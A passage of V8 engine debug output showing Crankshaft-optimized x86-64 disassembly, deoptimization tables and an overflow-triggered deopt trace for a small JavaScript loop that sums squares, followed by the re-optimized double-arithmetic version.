0x17ca2a342ac8 264 c5fb114b07 vmovsd [rbx+0x7],xmm1
;;; <@81,#80> gap
0x17ca2a342acd 269 488bc3 REX.W movq rax,rbx
;;; <@82,#74> return
0x17ca2a342ad0 272 488be5 REX.W movq rsp,rbp
0x17ca2a342ad3 275 5d pop rbp
0x17ca2a342ad4 276 c20800 ret 0x8
;;; <@38,#79> -------------------- Deferred tagged-to-i --------------------
0x17ca2a342ad7 279 4d8b55f8 REX.W movq r10,[r13-0x8] ;; debug: position 40
0x17ca2a342adb 283 4c3952ff REX.W cmpq [rdx-0x1],r10
0x17ca2a342adf 287 0f85dc000000 jnz 513 (0x17ca2a342bc1)
0x17ca2a342ae5 293 c5fb104207 vmovsd xmm0,[rdx+0x7]
0x17ca2a342aea 298 c5fb2cd0 vcvttsd2si rdx,xmm0
0x17ca2a342aee 302 c5f157c9 vxorpd xmm1,xmm1,xmm1
0x17ca2a342af2 306 c5f32aca vcvtlsi2sd xmm1,xmm1,rdx
0x17ca2a342af6 310 c5f92ec1 vucomisd xmm0,xmm1
0x17ca2a342afa 314 0f85c6000000 jnz 518 (0x17ca2a342bc6)
0x17ca2a342b00 320 0f8ac5000000 jpe 523 (0x17ca2a342bcb)
0x17ca2a342b06 326 85d2 testl rdx,rdx
0x17ca2a342b08 328 0f8521ffffff jnz 111 (0x17ca2a342a2f)
0x17ca2a342b0e 334 c5f950d0 vmovmskpd rdx,xmm0
0x17ca2a342b12 338 83e201 andl rdx,0x1
0x17ca2a342b15 341 0f85b5000000 jnz 528 (0x17ca2a342bd0)
0x17ca2a342b1b 347 e90fffffff jmp 111 (0x17ca2a342a2f)
;;; <@62,#56> -------------------- Deferred stack-check --------------------
0x17ca2a342b20 352 50 push rax
0x17ca2a342b21 353 51 push rcx
0x17ca2a342b22 354 52 push rdx
0x17ca2a342b23 355 53 push rbx
0x17ca2a342b24 356 56 push rsi
0x17ca2a342b25 357 57 push rdi
0x17ca2a342b26 358 4150 push r8
0x17ca2a342b28 360 4151 push r9
0x17ca2a342b2a 362 4153 push r11
0x17ca2a342b2c 364 4154 push r12
0x17ca2a342b2e 366 4156 push r14
0x17ca2a342b30 368 4157 push r15
0x17ca2a342b32 370 488d6424e0 REX.W leaq rsp,[rsp-0x20]
0x17ca2a342b37 375 488b75f8 REX.W movq rsi,[rbp-0x8]
0x17ca2a342b3b 379 33c0 xorl rax,rax
0x17ca2a342b3d 381 498d9da8f6ddfe REX.W leaq rbx,[r13-0x1220958]
0x17ca2a342b44 388 e8974dfcff call 0x17ca2a3078e0 ;; code: STUB, CEntryStub, minor: 5
0x17ca2a342b49 393 488d642420 REX.W leaq rsp,[rsp+0x20]
0x17ca2a342b4e 398 415f pop r15
0x17ca2a342b50 400 415e pop r14
0x17ca2a342b52 402 415c pop r12
0x17ca2a342b54 404 415b pop r11
0x17ca2a342b56 406 4159 pop r9
0x17ca2a342b58 408 4158 pop r8
0x17ca2a342b5a 410 5f pop rdi
0x17ca2a342b5b 411 5e pop rsi
0x17ca2a342b5c 412 5b pop rbx
0x17ca2a342b5d 413 5a pop rdx
0x17ca2a342b5e 414 59 pop rcx
0x17ca2a342b5f 415 58 pop rax
0x17ca2a342b60 416 e903ffffff jmp 168 (0x17ca2a342a68)
;;; <@80,#80> -------------------- Deferred number-tag-d --------------------
0x17ca2a342b65 421 33db xorl rbx,rbx ;; debug: position 100
0x17ca2a342b67 423 50 push rax
0x17ca2a342b68 424 51 push rcx
0x17ca2a342b69 425 52 push rdx
0x17ca2a342b6a 426 53 push rbx
0x17ca2a342b6b 427 56 push rsi
0x17ca2a342b6c 428 57 push rdi
0x17ca2a342b6d 429 4150 push r8
0x17ca2a342b6f 431 4151 push r9
0x17ca2a342b71 433 4153 push r11
0x17ca2a342b73 435 4154 push r12
0x17ca2a342b75 437 4156 push r14
0x17ca2a342b77 439 4157 push r15
0x17ca2a342b79 441 488d6424e0 REX.W leaq rsp,[rsp-0x20]
0x17ca2a342b7e 446 488b75f8 REX.W movq rsi,[rbp-0x8]
0x17ca2a342b82 450 33c0 xorl rax,rax
0x17ca2a342b84 452 498d9d58e7dffe REX.W leaq rbx,[r13-0x12018a8]
0x17ca2a342b8b 459 e8504dfcff call 0x17ca2a3078e0 ;; code: STUB, CEntryStub, minor: 5
0x17ca2a342b90 464 4c8bd0 REX.W movq r10,rax
0x17ca2a342b93 467 488d642420 REX.W leaq rsp,[rsp+0x20]
0x17ca2a342b98 472 415f pop r15
0x17ca2a342b9a 474 415e pop r14
0x17ca2a342b9c 476 415c pop r12
0x17ca2a342b9e 478 415b pop r11
0x17ca2a342ba0 480 4159 pop r9
0x17ca2a342ba2 482 4158 pop r8
0x17ca2a342ba4 484 5f pop rdi
0x17ca2a342ba5 485 5e pop rsi
0x17ca2a342ba6 486 5b pop rbx
0x17ca2a342ba7 487 5a pop rdx
0x17ca2a342ba8 488 59 pop rcx
0x17ca2a342ba9 489 58 pop rax
0x17ca2a342baa 490 498bda REX.W movq rbx,r10
0x17ca2a342bad 493 e916ffffff jmp 264 (0x17ca2a342ac8)
;;; -------------------- Jump table --------------------
0x17ca2a342bb2 498 e85d34ccff call 0x17ca2a006014 ;; debug: position 11264
;; debug: deopt reason 'not a heap number'
;; deoptimization bailout 2
0x17ca2a342bb7 503 e86c34ccff call 0x17ca2a006028 ;; debug: position 36352
;; debug: deopt reason 'overflow'
;; deoptimization bailout 4
0x17ca2a342bbc 508 e86734ccff call 0x17ca2a006028 ;; debug: position 36352
;; debug: deopt reason 'minus zero'
;; deoptimization bailout 4
0x17ca2a342bc1 513 e86c34ccff call 0x17ca2a006032 ;; debug: position 11264
;; debug: deopt reason 'not a heap number'
;; deoptimization bailout 5
0x17ca2a342bc6 518 e86734ccff call 0x17ca2a006032 ;; debug: position 11264
;; debug: deopt reason 'lost precision'
;; deoptimization bailout 5
0x17ca2a342bcb 523 e86234ccff call 0x17ca2a006032 ;; debug: position 11264
;; debug: deopt reason 'NaN'
;; deoptimization bailout 5
0x17ca2a342bd0 528 e85d34ccff call 0x17ca2a006032 ;; debug: position 11264
;; debug: deopt reason 'minus zero'
;; deoptimization bailout 5
0x17ca2a342bd5 533 0f1f00 nop
;;; Safepoint table.
Inlined functions (count = 0)
Deoptimization Input Data (deopt points = 6)
index ast id argc pc
0 4 0 35
1 26 0 -1
2 24 0 -1
3 28 0 168
4 28 0 -1
5 24 0 -1
Safepoints (size = 41)
0x17ca2a3429e3 35 1000000 (sp -> fp) 0
0x17ca2a342b49 393 0000000 | rdx | rbx (sp -> fp) 3
0x17ca2a342b90 464 0000000 | rbx (sp -> fp) <none>
RelocInfo (size = 551)
0x17ca2a3429ca position (18)
0x17ca2a3429ca comment (;;; <@0,#0> -------------------- B0 --------------------)
0x17ca2a3429ca comment (;;; <@4,#3> prologue)
0x17ca2a3429ca comment (;;; Prologue begin)
0x17ca2a3429ca comment (;;; Prologue end)
0x17ca2a3429ca comment (;;; <@8,#5> -------------------- B1 --------------------)
0x17ca2a3429ca comment (;;; <@10,#6> context)
0x17ca2a3429ce comment (;;; <@11,#6> gap)
0x17ca2a3429d2 comment (;;; <@14,#10> -------------------- B2 --------------------)
0x17ca2a3429d2 comment (;;; <@15,#10> gap)
0x17ca2a3429d5 comment (;;; <@16,#12> stack-check)
0x17ca2a3429df code target (BUILTIN) (0x17ca2a33cbe0)
0x17ca2a3429e3 comment (;;; <@18,#12> lazy-bailout)
0x17ca2a3429e3 position (40)
0x17ca2a3429e3 comment (;;; <@21,#18> goto)
0x17ca2a3429e8 comment (;;; <@22,#22> -------------------- B3 (OSR entry) --------------------)
0x17ca2a3429ec comment (;;; <@34,#29> context)
0x17ca2a3429f0 comment (;;; <@35,#29> gap)
0x17ca2a3429f4 comment (;;; <@36,#78> double-untag)
0x17ca2a342a1e comment (;;; <@37,#78> gap)
0x17ca2a342a22 comment (;;; <@38,#79> tagged-to-i)
0x17ca2a342a2f comment (;;; <@40,#31> gap)
0x17ca2a342a3d comment (;;; <@41,#31> goto)
0x17ca2a342a42 comment (;;; <@42,#19> -------------------- B4 --------------------)
0x17ca2a342a42 comment (;;; <@44,#77> constant-d)
0x17ca2a342a46 comment (;;; <@46,#21> gap)
0x17ca2a342a50 comment (;;; <@48,#40> -------------------- B5 (unreachable/replaced) --------------------)
0x17ca2a342a50 position (56)
0x17ca2a342a50 comment (;;; <@52,#43> -------------------- B6 (loop header) --------------------)
0x17ca2a342a50 position (58)
0x17ca2a342a50 comment (;;; <@55,#47> compare-numeric-and-branch)
0x17ca2a342a5b comment (;;; <@56,#48> -------------------- B7 (unreachable/replaced) --------------------)
0x17ca2a342a5b position (40)
0x17ca2a342a5b comment (;;; <@60,#54> -------------------- B8 --------------------)
0x17ca2a342a5b comment (;;; <@62,#56> stack-check)
0x17ca2a342a68 comment (;;; <@63,#56> gap)
0x17ca2a342a6b comment (;;; <@64,#60> mul-i)
0x17ca2a342a6b position (89)
0x17ca2a342a84 comment (;;; <@66,#81> int32-to-double)
0x17ca2a342a8c comment (;;; <@68,#62> add-d)
0x17ca2a342a8c position (85)
0x17ca2a342a90 comment (;;; <@70,#67> add-i)
0x17ca2a342a90 position (70)
0x17ca2a342a93 position (40)
0x17ca2a342a93 comment (;;; <@73,#70> goto)
0x17ca2a342a95 comment (;;; <@74,#51> -------------------- B9 (unreachable/replaced) --------------------)
0x17ca2a342a95 position (107)
0x17ca2a342a95 comment (;;; <@78,#71> -------------------- B10 --------------------)
0x17ca2a342a95 comment (;;; <@80,#80> number-tag-d)
0x17ca2a342a95 position (100)
0x17ca2a342acd comment (;;; <@81,#80> gap)
0x17ca2a342ad0 comment (;;; <@82,#74> return)
0x17ca2a342ad7 position (40)
0x17ca2a342ad7 comment (;;; <@38,#79> -------------------- Deferred tagged-to-i --------------------)
0x17ca2a342b20 comment (;;; <@62,#56> -------------------- Deferred stack-check --------------------)
0x17ca2a342b45 code target (STUB) (0x17ca2a3078e0)
0x17ca2a342b65 position (100)
0x17ca2a342b65 comment (;;; <@80,#80> -------------------- Deferred number-tag-d --------------------)
0x17ca2a342b8c code target (STUB) (0x17ca2a3078e0)
0x17ca2a342bb2 comment (;;; -------------------- Jump table --------------------)
0x17ca2a342bb2 position (11264)
0x17ca2a342bb2 deopt reason (not a heap number)
0x17ca2a342bb3 runtime entry (deoptimization bailout 2)
0x17ca2a342bb7 position (36352)
0x17ca2a342bb7 deopt reason (overflow)
0x17ca2a342bb8 runtime entry (deoptimization bailout 4)
0x17ca2a342bbc position (36352)
0x17ca2a342bbc deopt reason (minus zero)
0x17ca2a342bbd runtime entry (deoptimization bailout 4)
0x17ca2a342bc1 position (11264)
0x17ca2a342bc1 deopt reason (not a heap number)
0x17ca2a342bc2 runtime entry (deoptimization bailout 5)
0x17ca2a342bc6 position (11264)
0x17ca2a342bc6 deopt reason (lost precision)
0x17ca2a342bc7 runtime entry (deoptimization bailout 5)
0x17ca2a342bcb position (11264)
0x17ca2a342bcb deopt reason (NaN)
0x17ca2a342bcc runtime entry (deoptimization bailout 5)
0x17ca2a342bd0 position (11264)
0x17ca2a342bd0 deopt reason (minus zero)
0x17ca2a342bd1 runtime entry (deoptimization bailout 5)
0x17ca2a342bd8 comment (;;; Safepoint table.)
--- End code ---
[deoptimizing (DEOPT eager): begin 0x3264862d9de1 <JS Function benchmark (SharedFunctionInfo 0x3264862d9a41)> (opt #0) @4, FP to SP delta: 40, caller sp: 0x7fff5fbff2a8]
;;; deoptimize at 0_71: overflow
reading input frame benchmark => node=28, args=1, height=3; inputs:
0: 0x3264862d9de1 ; [fp - 16] 0x3264862d9de1 <JS Function benchmark (SharedFunctionInfo 0x3264862d9a41)>
1: 0x2dde18b05341 ; rdx 0x2dde18b05341 <JS Global Object>
2: 0x3264862b0791 ; rbx 0x3264862b0791 <FixedArray[173]>
3: 3.317118e+13 ; xmm1 (bool)
4: 46341 ; rax
translating frame benchmark => node=28, height=16
0x7fff5fbff2a0: [top + 48] <- 0x2dde18b05341 ; 0x2dde18b05341 <JS Global Object> (input #1)
0x7fff5fbff298: [top + 40] <- 0x17ca2a3421a0 ; caller's pc
0x7fff5fbff290: [top + 32] <- 0x7fff5fbff2d8 ; caller's fp
0x7fff5fbff288: [top + 24] <- 0x3264862b0791 ; context 0x3264862b0791 <FixedArray[173]> (input #2)
0x7fff5fbff280: [top + 16] <- 0x3264862d9de1 ; function 0x3264862d9de1 <JS Function benchmark (SharedFunctionInfo 0x3264862d9a41)> (input #0)
0x7fff5fbff278: [top + 8] <- 0x3264862044f1 ; 0x3264862044f1 <Odd Oddball> (input #3)
0x7fff5fbff270: [top + 0] <- 0xb50500000000 ; 46341 (input #4)
[deoptimizing (eager): end 0x3264862d9de1 <JS Function benchmark (SharedFunctionInfo 0x3264862d9a41)> @4 => node=28, pc=0x17ca2a34240b, caller sp=0x7fff5fbff2a8, state=NO_REGISTERS, took 0.051 ms]
0x2dde18b50541 <Number: 3.31712e+13>
--- FUNCTION SOURCE (benchmark) id{1,0} ---
() {
var sum = 0;
for (var i = 0; i < 1000000; i++) {
sum += i * i;
}
return sum;
}
--- END ---
--- Raw source ---
() {
var sum = 0;
for (var i = 0; i < 1000000; i++) {
sum += i * i;
}
return sum;
}
--- Optimized code ---
optimization_id = 1
source_position = 18
kind = OPTIMIZED_FUNCTION
name = benchmark
stack_slots = 7
compiler = crankshaft
Instructions (size = 541)
0x17ca2a342c80 0 55 push rbp
0x17ca2a342c81 1 4889e5 REX.W movq rbp,rsp
0x17ca2a342c84 4 56 push rsi
0x17ca2a342c85 5 57 push rdi
0x17ca2a342c86 6 4883ec18 REX.W subq rsp,0x18
;;; <@0,#0> -------------------- B0 --------------------
;;; <@4,#3> prologue
;;; Prologue begin
;;; Prologue end
;;; <@8,#5> -------------------- B1 --------------------
;;; <@10,#6> context
0x17ca2a342c8a 10 488b45f8 REX.W movq rax,[rbp-0x8] ;; debug: position 18
;;; <@11,#6> gap
0x17ca2a342c8e 14 488945d8 REX.W movq [rbp-0x28],rax
;;; <@14,#10> -------------------- B2 --------------------
;;; <@15,#10> gap
0x17ca2a342c92 18 488bf0 REX.W movq rsi,rax
;;; <@16,#12> stack-check
0x17ca2a342c95 21 493ba5880a0000 REX.W cmpq rsp,[r13+0xa88]
0x17ca2a342c9c 28 7305 jnc 35 (0x17ca2a342ca3)
0x17ca2a342c9e 30 e83d9fffff call StackCheck (0x17ca2a33cbe0) ;; code: BUILTIN
;;; <@18,#12> lazy-bailout
;;; <@21,#18> goto
0x17ca2a342ca3 35 e95a000000 jmp 130 (0x17ca2a342d02) ;; debug: position 40
;;; <@22,#22> -------------------- B3 (OSR entry) --------------------
0x17ca2a342ca8 40 4883ec08 REX.W subq rsp,0x8
;;; <@34,#29> context
0x17ca2a342cac 44 488b45f8 REX.W movq rax,[rbp-0x8]
;;; <@35,#29> gap
0x17ca2a342cb0 48 488b5de8 REX.W movq rbx,[rbp-0x18]
;;; <@36,#78> double-untag
0x17ca2a342cb4 52 f6c301 testb rbx,0x1
0x17ca2a342cb7 55 7415 jz 78 (0x17ca2a342cce)
0x17ca2a342cb9 57 4d8b55f8 REX.W movq r10,[r13-0x8]
0x17ca2a342cbd 61 4c3953ff REX.W cmpq [rbx-0x1],r10
0x17ca2a342cc1 65 c5fb105307 vmovsd xmm2,[rbx+0x7]
0x17ca2a342cc6 70 0f858e010000 jnz 474 (0x17ca2a342e5a)
0x17ca2a342ccc 76 eb10 jmp 94 (0x17ca2a342cde)
0x17ca2a342cce 78 4c8bd3 REX.W movq r10,rbx
0x17ca2a342cd1 81 49c1ea20 REX.W shrq r10, 32
0x17ca2a342cd5 85 c5e957d2 vxorpd xmm2,xmm2,xmm2
0x17ca2a342cd9 89 c4c16b2ad2 vcvtlsi2sd xmm2,xmm2,r10
;;; <@37,#78> gap
0x17ca2a342cde 94 488b55e0 REX.W movq rdx,[rbp-0x20]
;;; <@38,#79> tagged-to-i
0x17ca2a342ce2 98 f6c201 testb rdx,0x1
0x17ca2a342ce5 101 0f8594000000 jnz 255 (0x17ca2a342d7f)
0x17ca2a342ceb 107 48c1ea20 REX.W shrq rdx, 32
;;; <@40,#31> gap
0x17ca2a342cef 111 488bd8 REX.W movq rbx,rax
0x17ca2a342cf2 114 488bc2 REX.W movq rax,rdx
0x17ca2a342cf5 117 488b5510 REX.W movq rdx,[rbp+0x10]
0x17ca2a342cf9 121 c5f928ca vmovapd xmm1,xmm2
;;; <@41,#31> goto
0x17ca2a342cfd 125 e90e000000 jmp 144 (0x17ca2a342d10)
;;; <@42,#19> -------------------- B4 --------------------
;;; <@44,#77> constant-d
0x17ca2a342d02 130 c5f157c9 vxorpd xmm1,xmm1,xmm1
;;; <@46,#21> gap
0x17ca2a342d06 134 488b5510 REX.W movq rdx,[rbp+0x10]
0x17ca2a342d0a 138 488b5dd8 REX.W movq rbx,[rbp-0x28]
0x17ca2a342d0e 142 33c0 xorl rax,rax
;;; <@48,#40> -------------------- B5 (unreachable/replaced) --------------------
;;; <@52,#43> -------------------- B6 (loop header) --------------------
;;; <@55,#47> compare-numeric-and-branch
0x17ca2a342d10 144 3d40420f00 cmp rax,0xf4240 ;; debug: position 56
;; debug: position 58
0x17ca2a342d15 149 0f8d22000000 jge 189 (0x17ca2a342d3d)
;;; <@56,#48> -------------------- B7 (unreachable/replaced) --------------------
;;; <@60,#54> -------------------- B8 --------------------
;;; <@62,#56> stack-check
0x17ca2a342d1b 155 493ba5880a0000 REX.W cmpq rsp,[r13+0xa88] ;; debug: position 40
0x17ca2a342d22 162 0f82a0000000 jc 328 (0x17ca2a342dc8)
;;; <@64,#81> int32-to-double
0x17ca2a342d28 168 c5e957d2 vxorpd xmm2,xmm2,xmm2 ;; debug: position 91
0x17ca2a342d2c 172 c5eb2ad0 vcvtlsi2sd xmm2,xmm2,rax
;;; <@66,#60> mul-d
0x17ca2a342d30 176 c5eb59d2 vmulsd xmm2,xmm2,xmm2 ;; debug: position 89
;;; <@68,#62> add-d
0x17ca2a342d34 180 c5eb58c9 vaddsd xmm1,xmm2,xmm1 ;; debug: position 85
;;; <@70,#67> add-i
0x17ca2a342d38 184 83c001 addl rax,0x1 ;; debug: position 70
;;; <@73,#70> goto
0x17ca2a342d3b 187 ebd3 jmp 144 (0x17ca2a342d10) ;; debug: position 40
;;; <@74,#51> -------------------- B9 (unreachable/replaced) --------------------
;;; <@78,#71> -------------------- B10 --------------------
;;; <@80,#80> number-tag-d
0x17ca2a342d3d 189 498b9d480f0000 REX.W movq rbx,[r13+0xf48] ;; debug: position 107
;; debug: position 100
0x17ca2a342d44 196 488bc3 REX.W movq rax,rbx
0x17ca2a342d47 199 4883c010 REX.W addq rax,0x10
0x17ca2a342d4b 203 0f82bc000000 jc 397 (0x17ca2a342e0d)
0x17ca2a342d51 209 493b85500f0000 REX.W cmpq rax,[r13+0xf50]
0x17ca2a342d58 216 0f87af000000 ja 397 (0x17ca2a342e0d)
0x17ca2a342d5e 222 498985480f0000 REX.W movq [r13+0xf48],rax
0x17ca2a342d65 229 48ffc3 REX.W incq rbx
0x17ca2a342d68 232 4d8b55f8 REX.W movq r10,[r13-0x8]
0x17ca2a342d6c 236 4c8953ff REX.W movq [rbx-0x1],r10
0x17ca2a342d70 240 c5fb114b07 vmovsd [rbx+0x7],xmm1
;;; <@81,#80> gap
0x17ca2a342d75 245 488bc3 REX.W movq rax,rbx
;;; <@82,#74> return
0x17ca2a342d78 248 488be5 REX.W movq rsp,rbp
0x17ca2a342d7b 251 5d pop rbp
0x17ca2a342d7c 252 c20800 ret 0x8
;;; <@38,#79> -------------------- Deferred tagged-to-i --------------------
0x17ca2a342d7f 255 4d8b55f8 REX.W movq r10,[r13-0x8] ;; debug: position 40
0x17ca2a342d83 259 4c3952ff REX.W cmpq [rdx-0x1],r10
0x17ca2a342d87 263 0f85d2000000 jnz 479 (0x17ca2a342e5f)
0x17ca2a342d8d 269 c5fb104207 vmovsd xmm0,[rdx+0x7]
0x17ca2a342d92 274 c5fb2cd0 vcvttsd2si rdx,xmm0
0x17ca2a342d96 278 c5f157c9 vxorpd xmm1,xmm1,xmm1
0x17ca2a342d9a 282 c5f32aca vcvtlsi2sd xmm1,xmm1,rdx
0x17ca2a342d9e 286 c5f92ec1 vucomisd xmm0,xmm1
0x17ca2a342da2 290 0f85bc000000 jnz 484 (0x17ca2a342e64)
0x17ca2a342da8 296 0f8abb000000 jpe 489 (0x17ca2a342e69)
0x17ca2a342dae 302 85d2 testl rdx,rdx
0x17ca2a342db0 304 0f8539ffffff jnz 111 (0x17ca2a342cef)
0x17ca2a342db6 310 c5f950d0 vmovmskpd rdx,xmm0
0x17ca2a342dba 314 83e201 andl rdx,0x1
0x17ca2a342dbd 317 0f85ab000000 jnz 494 (0x17ca2a342e6e)
0x17ca2a342dc3 323 e927ffffff jmp 111 (0x17ca2a342cef)
;;; <@62,#56> -------------------- Deferred stack-check --------------------
0x17ca2a342dc8 328 50 push rax
0x17ca2a342dc9 329 51 push rcx
0x17ca2a342dca 330 52 push rdx
0x17ca2a342dcb 331 53 push rbx
0x17ca2a342dcc 332 56 push rsi
0x17ca2a342dcd 333 57 push rdi
0x17ca2a342dce 334 4150 push r8
0x17ca2a342dd0 336 4151 push r9
0x17ca2a342dd2 338 4153 push r11
0x17ca2a342dd4 340 4154 push r12
0x17ca2a342dd6 342 4156 push r14
0x17ca2a342dd8 344 4157 push r15
0x17ca2a342dda 346 488d6424e0 REX.W leaq rsp,[rsp-0x20]
0x17ca2a342ddf 351 488b75f8 REX.W movq rsi,[rbp-0x8]
0x17ca2a342de3 355 33c0 xorl rax,rax
0x17ca2a342de5 357 498d9da8f6ddfe REX.W leaq rbx,[r13-0x1220958]
0x17ca2a342dec 364 e8ef4afcff call 0x17ca2a3078e0 ;; code: STUB, CEntryStub, minor: 5
0x17ca2a342df1 369 488d642420 REX.W leaq rsp,[rsp+0x20]
0x17ca2a342df6 374 415f pop r15
0x17ca2a342df8 376 415e pop r14
0x17ca2a342dfa 378 415c pop r12
0x17ca2a342dfc 380 415b pop r11
0x17ca2a342dfe 382 4159 pop r9
0x17ca2a342e00 384 4158 pop r8
0x17ca2a342e02 386 5f pop rdi
0x17ca2a342e03 387 5e pop rsi
0x17ca2a342e04 388 5b pop rbx
0x17ca2a342e05 389 5a pop rdx
0x17ca2a342e06 390 59 pop rcx
0x17ca2a342e07 391 58 pop rax
0x17ca2a342e08 392 e91bffffff jmp 168 (0x17ca2a342d28)
;;; <@80,#80> -------------------- Deferred number-tag-d --------------------
0x17ca2a342e0d 397 33db xorl rbx,rbx ;; debug: position 100
0x17ca2a342e0f 399 50 push rax
0x17ca2a342e10 400 51 push rcx
0x17ca2a342e11 401 52 push rdx
0x17ca2a342e12 402 53 push rbx
0x17ca2a342e13 403 56 push rsi
0x17ca2a342e14 404 57 push rdi
0x17ca2a342e15 405 4150 push r8
0x17ca2a342e17 407 4151 push r9
0x17ca2a342e19 409 4153 push r11
0x17ca2a342e1b 411 4154 push r12
0x17ca2a342e1d 413 4156 push r14
0x17ca2a342e1f 415 4157 push r15
0x17ca2a342e21 417 488d6424e0 REX.W leaq rsp,[rsp-0x20]
0x17ca2a342e26 422 488b75f8 REX.W movq rsi,[rbp-0x8]
0x17ca2a342e2a 426 33c0 xorl rax,rax
0x17ca2a342e2c 428 498d9d58e7dffe REX.W leaq rbx,[r13-0x12018a8]
0x17ca2a342e33 435 e8a84afcff call 0x17ca2a3078e0 ;; code: STUB, CEntryStub, minor: 5
0x17ca2a342e38 440 4c8bd0 REX.W movq r10,rax
0x17ca2a342e3b 443 488d642420 REX.W leaq rsp,[rsp+0x20]
0x17ca2a342e40 448 415f pop r15
0x17ca2a342e42 450 415e pop r14
0x17ca2a342e44 452 415c pop r12
0x17ca2a342e46 454 415b pop r11
0x17ca2a342e48 456 4159 pop r9
0x17ca2a342e4a 458 4158 pop r8
0x17ca2a342e4c 460 5f pop rdi
0x17ca2a342e4d 461 5e pop rsi
0x17ca2a342e4e 462 5b pop rbx
0x17ca2a342e4f 463 5a pop rdx
0x17ca2a342e50 464 59 pop rcx
0x17ca2a342e51 465 58 pop rax
0x17ca2a342e52 466 498bda REX.W movq rbx,r10
0x17ca2a342e55 469 e916ffffff jmp 240 (0x17ca2a342d70)
;;; -------------------- Jump table --------------------
0x17ca2a342e5a 474 e8b531ccff call 0x17ca2a006014 ;; debug: position 11264
;; debug: deopt reason 'not a heap number'
;; deoptimization bailout 2
0x17ca2a342e5f 479 e8c431ccff call 0x17ca2a006028 ;; debug: position 11264
;; debug: deopt reason 'not a heap number'
;; deoptimization bailout 4
0x17ca2a342e64 484 e8bf31ccff call 0x17ca2a006028 ;; debug: position 11264
;; debug: deopt reason 'lost precision'
;; deoptimization bailout 4
0x17ca2a342e69 489 e8ba31ccff call 0x17ca2a006028 ;; debug: position 11264
;; debug: deopt reason 'NaN'
;; deoptimization bailout 4
0x17ca2a342e6e 494 e8b531ccff call 0x17ca2a006028 ;; debug: position 11264
;; debug: deopt reason 'minus zero'
;; deoptimization bailout 4
0x17ca2a342e73 499 90 nop
;;; Safepoint table.
Inlined functions (count = 0)
Deoptimization Input Data (deopt points = 5)
index ast id argc pc
0 4 0 35
1 26 0 -1
2 24 0 -1
3 28 0 168
4 24 0 -1
Safepoints (size = 41)
0x17ca2a342ca3 35 1000000 (sp -> fp) 0
0x17ca2a342df1 369 0000000 | rdx | rbx (sp -> fp) 3
0x17ca2a342e38 440 0000000 | rbx (sp -> fp) <none>
RelocInfo (size = 523)
0x17ca2a342c8a position (18)
0x17ca2a342c8a comment (;;; <@0,#0> -------------------- B0 --------------------)
0x17ca2a342c8a comment (;;; <@4,#3> prologue)
0x17ca2a342c8a comment (;;; Prologue begin)
0x17ca2a342c8a comment (;;; Prologue end)
0x17ca2a342c8a comment (;;; <@8,#5> -------------------- B1 --------------------)
0x17ca2a342c8a comment (;;; <@10,#6> context)
0x17ca2a342c8e comment (;;; <@11,#6> gap)
0x17ca2a342c92 comment (;;; <@14,#10> -------------------- B2 --------------------)
0x17ca2a342c92 comment (;;; <@15,#10> gap)
0x17ca2a342c95 comment (;;; <@16,#12> stack-check)
0x17ca2a342c9f code target (BUILTIN) (0x17ca2a33cbe0)
0x17ca2a342ca3 comment (;;; <@18,#12> lazy-bailout)
0x17ca2a342ca3 position (40)
0x17ca2a342ca3 comment (;;; <@21,#18> goto)
0x17ca2a342ca8 comment (;;; <@22,#22> -------------------- B3 (OSR entry) --------------------)
0x17ca2a342cac comment (;;; <@34,#29> context)
0x17ca2a342cb0 comment (;;; <@35,#29> gap)
0x17ca2a342cb4 comment (;;; <@36,#78> double-untag)
0x17ca2a342cde comment (;;; <@37,#78> gap)
0x17ca2a342ce2 comment (;;; <@38,#79> tagged-to-i)
0x17ca2a342cef comment (;;; <@40,#31> gap)
0x17ca2a342cfd comment (;;; <@41,#31> goto)
0x17ca2a342d02 comment (;;; <@42,#19> -------------------- B4 --------------------)
0x17ca2a342d02 comment (;;; <@44,#77> constant-d)
0x17ca2a342d06 comment (;;; <@46,#21> gap)
0x17ca2a342d10 comment (;;; <@48,#40> -------------------- B5 (unreachable/replaced) --------------------)
0x17ca2a342d10 position (56)
0x17ca2a342d10 comment (;;; <@52,#43> -------------------- B6 (loop header) --------------------)
0x17ca2a342d10 position (58)
0x17ca2a342d10 comment (;;; <@55,#47> compare-numeric-and-branch)
0x17ca2a342d1b comment (;;; <@56,#48> -------------------- B7 (unreachable/replaced) --------------------)
0x17ca2a342d1b position (40)
0x17ca2a342d1b comment (;;; <@60,#54> -------------------- B8 --------------------)
0x17ca2a342d1b comment (;;; <@62,#56> stack-check)
0x17ca2a342d28 comment (;;; <@64,#81> int32-to-double)
0x17ca2a342d28 position (91)
0x17ca2a342d30 comment (;;; <@66,#60> mul-d)
0x17ca2a342d30 position (89)
0x17ca2a342d34 comment (;;; <@68,#62> add-d)
0x17ca2a342d34 position (85)
0x17ca2a342d38 comment (;;; <@70,#67> add-i)
0x17ca2a342d38 position (70)
0x17ca2a342d3b position (40)
0x17ca2a342d3b comment (;;; <@73,#70> goto)
0x17ca2a342d3d comment (;;; <@74,#51> -------------------- B9 (unreachable/replaced) --------------------)
0x17ca2a342d3d position (107)
0x17ca2a342d3d comment (;;; <@78,#71> -------------------- B10 --------------------)
0x17ca2a342d3d comment (;;; <@80,#80> number-tag-d)
0x17ca2a342d3d position (100)
0x17ca2a342d75 comment (;;; <@81,#80> gap)
0x17ca2a342d78 comment (;;; <@82,#74> return)
0x17ca2a342d7f position (40)
0x17ca2a342d7f comment (;;; <@38,#79> -------------------- Deferred tagged-to-i --------------------)
0x17ca2a342dc8 comment (;;; <@62,#56> -------------------- Deferred stack-check --------------------)
0x17ca2a342ded code target (STUB) (0x17ca2a3078e0)
0x17ca2a342e0d position (100)
0x17ca2a342e0d comment (;;; <@80,#80> -------------------- Deferred number-tag-d --------------------)
0x17ca2a342e34 code target (STUB) (0x17ca2a3078e0)
0x17ca2a342e5a comment (;;; -------------------- Jump table --------------------)
0x17ca2a342e5a position (11264)
0x17ca2a342e5a deopt reason (not a heap number)
0x17ca2a342e5b runtime entry (deoptimization bailout 2)
0x17ca2a342e5f position (11264)
0x17ca2a342e5f deopt reason (not a heap number)
0x17ca2a342e60 runtime entry (deoptimization bailout 4)
0x17ca2a342e64 position (11264)
0x17ca2a342e64 deopt reason (lost precision)
0x17ca2a342e65 runtime entry (deoptimization bailout 4)
0x17ca2a342e69 position (11264)
0x17ca2a342e69 deopt reason (NaN)
0x17ca2a342e6a runtime entry (deoptimization bailout 4)
0x17ca2a342e6e position (11264)
0x17ca2a342e6e deopt reason (minus zero)
0x17ca2a342e6f runtime entry (deoptimization bailout 4)
